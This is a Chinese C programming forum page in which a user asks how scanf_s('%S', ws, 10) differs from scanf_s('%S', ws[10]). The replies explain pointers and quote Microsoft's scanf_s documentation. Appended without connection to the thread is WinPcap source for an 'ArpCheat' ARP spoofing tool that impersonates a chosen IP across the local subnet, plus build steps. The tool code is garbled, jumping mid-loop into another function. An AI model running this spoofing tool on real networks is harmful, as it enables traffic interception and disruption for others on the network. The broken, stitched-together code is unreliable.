请教scanf_s("%S", ws, 10)和scanf_s("%S", ws[10]);的区别?

pww20055 2015-05-13 10:46:36
请各位高手解答scanf_s("%S", ws, 10)和scanf_s("%S", ws[10]);的区别,原来一直以为两个没什么区别,但是今天写书上的习题的时候用scanf_s("%S", ws[10])则程序会出故障,然后说让调试程序。如果用scanf_s("%S", ws, 10)代替则程序正常完成。请高手解答一下!
...全文
266 4 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
BrillianceRen 2015-05-14
  • 打赏
  • 举报
回复
ws[10] = *(ws+10); 你有吗? 你有没有? 你没有吧?
赵4老师 2015-05-14
  • 打赏
  • 举报
回复
Collapse AllExpand All Code: All Code: Multiple Code: Visual Basic Code: C# Code: Visual C++ Code: J# Code: JScript Visual Basic C# Visual C++ J# JScript Run-Time Library Reference scanf_s, _scanf_s_l, wscanf_s, _wscanf_s_l Example See Also Send Feedback Read formatted data from the standard input stream. These are versions of scanf, _scanf_l, wscanf, _wscanf_l with security enhancements as described in Security Enhancements in the CRT. int scanf_s( const char *format [, argument]... ); int _scanf_s_l( const char *format, locale_t locale [, argument]... ); int wscanf_s( const wchar_t *format [, argument]... ); int _wscanf_s_l( const wchar_t *format, locale_t locale [, argument]... ); Parameters format Format control string. argument Optional arguments. locale The locale to use. Return Value Returns the number of fields successfully converted and assigned; the return value does not include fields that were read but not assigned. A return value of 0 indicates that no fields were assigned. The return value is EOF for an error or if the end-of-file character or the end-of-string character is encountered in the first attempt to read a character. If format is a NULL pointer, the invalid parameter handler is invoked, as described in Parameter Validation. If execution is allowed to continue, scanf_s and wscanf_s return EOF and set errno to EINVAL. For information on these and other error codes, see _doserrno, errno, _sys_errlist, and _sys_nerr. Remarks The scanf_s function reads data from the standard input stream stdin and writes the data into the location given by argument. Each argument must be a pointer to a variable of a type that corresponds to a type specifier in format. If copying takes place between strings that overlap, the behavior is undefined. wscanf_s is a wide-character version of scanf_s; the format argument to wscanf_s is a wide-character string. wscanf_s and scanf_s behave identically identically if the stream is opened in ANSI mode. scanf_s doesn't currently support input from a UNICODE stream. The versions of these functions with the _l suffix are identical except that they use the locale parameter passed in instead of the current thread locale. Unlike scanf and wscanf, scanf_s and wscanf_s require the buffer size to be specified for all input parameters of type c, C, s, S, or [. The buffer size is passed as an additional parameter immediately following the pointer to the buffer or variable. For example, if reading a string, the buffer size for that string is passed as follows: char s[10]; scanf("%9s", s, 10); The buffer size includes the terminating null. A width specification field may be used to ensure that the token read in will fit into the buffer. If no width specification field is used, and the token read is too big to fit in the buffer, nothing will be written to that buffer. Note: The size parameter is of type unsigned, not size_t. In the case of characters, one may read a single character as follows: char c; scanf("%c", &c, 1); When reading multiple characters for non-null terminated strings, integers are used as the width specification and the buffer size. char c[4]; scanf("%4c", &c, 4); // not null terminated For more information, see scanf Width Specification. TCHAR.H routine _UNICODE & _MBCS not defined _MBCS defined _UNICODE defined _tscanf_s scanf_s scanf_s wscanf_s _tscanf_s_l _scanf_s_l _scanf_s_l _wscanf_s_l For more information, see Format Specification Fields — scanf functions and wscanf Functions. Requirements Routine Required header scanf_s, _scanf_s_l <stdio.h> wscanf_s, _wscanf_s_l <stdio.h> or <wchar.h> For additional compatibility information, see Compatibility in the Introduction. Example Copy Code // crt_scanf_s.c // This program uses the scanf_s and wscanf_s functions // to read formatted input. #include <stdio.h> int main( void ) { int i, result; float fp; char c, s[81]; wchar_t wc, ws[81]; result = scanf_s( "%d %f %c %C %s %S", &i, &fp, &c, 1, &wc, 1, s, 80, ws, 80 ); printf( "The number of fields input is %d\n", result ); printf( "The contents are: %d %f %c %C %s %S\n", i, fp, c, wc, s, ws); result = wscanf_s( L"%d %f %hc %lc %S %ls", &i, &fp, &c, 2, &wc, 1, s, 80, ws, 80 ); wprintf( L"The number of fields input is %d\n", result ); wprintf( L"The contents are: %d %f %C %c %hs %s\n", i, fp, c, wc, s, ws); } Copy Code 71 98.6 h z Byte characters 36 92.3 y n Wide characters Copy Code The number of fields input is 6 The contents are: 71 98.599998 h z Byte characters The number of fields input is 6 The contents are: 36 92.300003 y n Wide characters .NET Framework Equivalent System::Console::Read System::Console::ReadLine See also Parse methods, such as System::Double::Parse. See Also Concepts Floating-Point Support Stream I/O Locale fscanf, _fscanf_l, fwscanf, _fwscanf_l printf, _printf_l, wprintf, _wprintf_l sprintf, _sprintf_l, swprintf, _swprintf_l, __swprintf_l sscanf, _sscanf_l, swscanf, _swscanf_l Send feedback on this topic to Microsoft.
赵4老师 2015-05-14
  • 打赏
  • 举报
回复
char ws[10];//不行 wchar_t ws[10];//可以 %s String, up to first white-space character (space, tab or newline). To read strings not delimited by space characters, use set of square brackets ([ ]), as discussed in scanf Width Specification. When used with scanf functions, signifies single-byte character array; when used with wscanf functions, signifies wide-character array. In either case, character array must be large enough for input field plus terminating null character, which is automatically appended. %S Opposite-size character string, up to first white-space character (space, tab or newline). To read strings not delimited by space characters, use set of square brackets ([ ]), as discussed in scanf Width Specification. When used with scanf functions, signifies wide-character array; when used with wscanf functions, signifies single-byte–character array. In either case, character array must be large enough for input field plus terminating null character, which is automatically appended.
苏叔叔 2015-05-13
  • 打赏
  • 举报
回复
本质区别在于: ws和ws[10]的区别:ws是char*,ws[10]是char,scanf需要传入地址,所以正确的是ws scanf_s()是vs下对scanf()的改进,scanf_s("%s", ws, 10);的意思是读入字符串到地址ws,最多读入10个字符
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:IP地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include #include #include #include #include #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; nhFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度:IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用WinPcap 下载并安装WinPcap,安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。 增加WinPcap的include和lib路径: Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

70,022

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧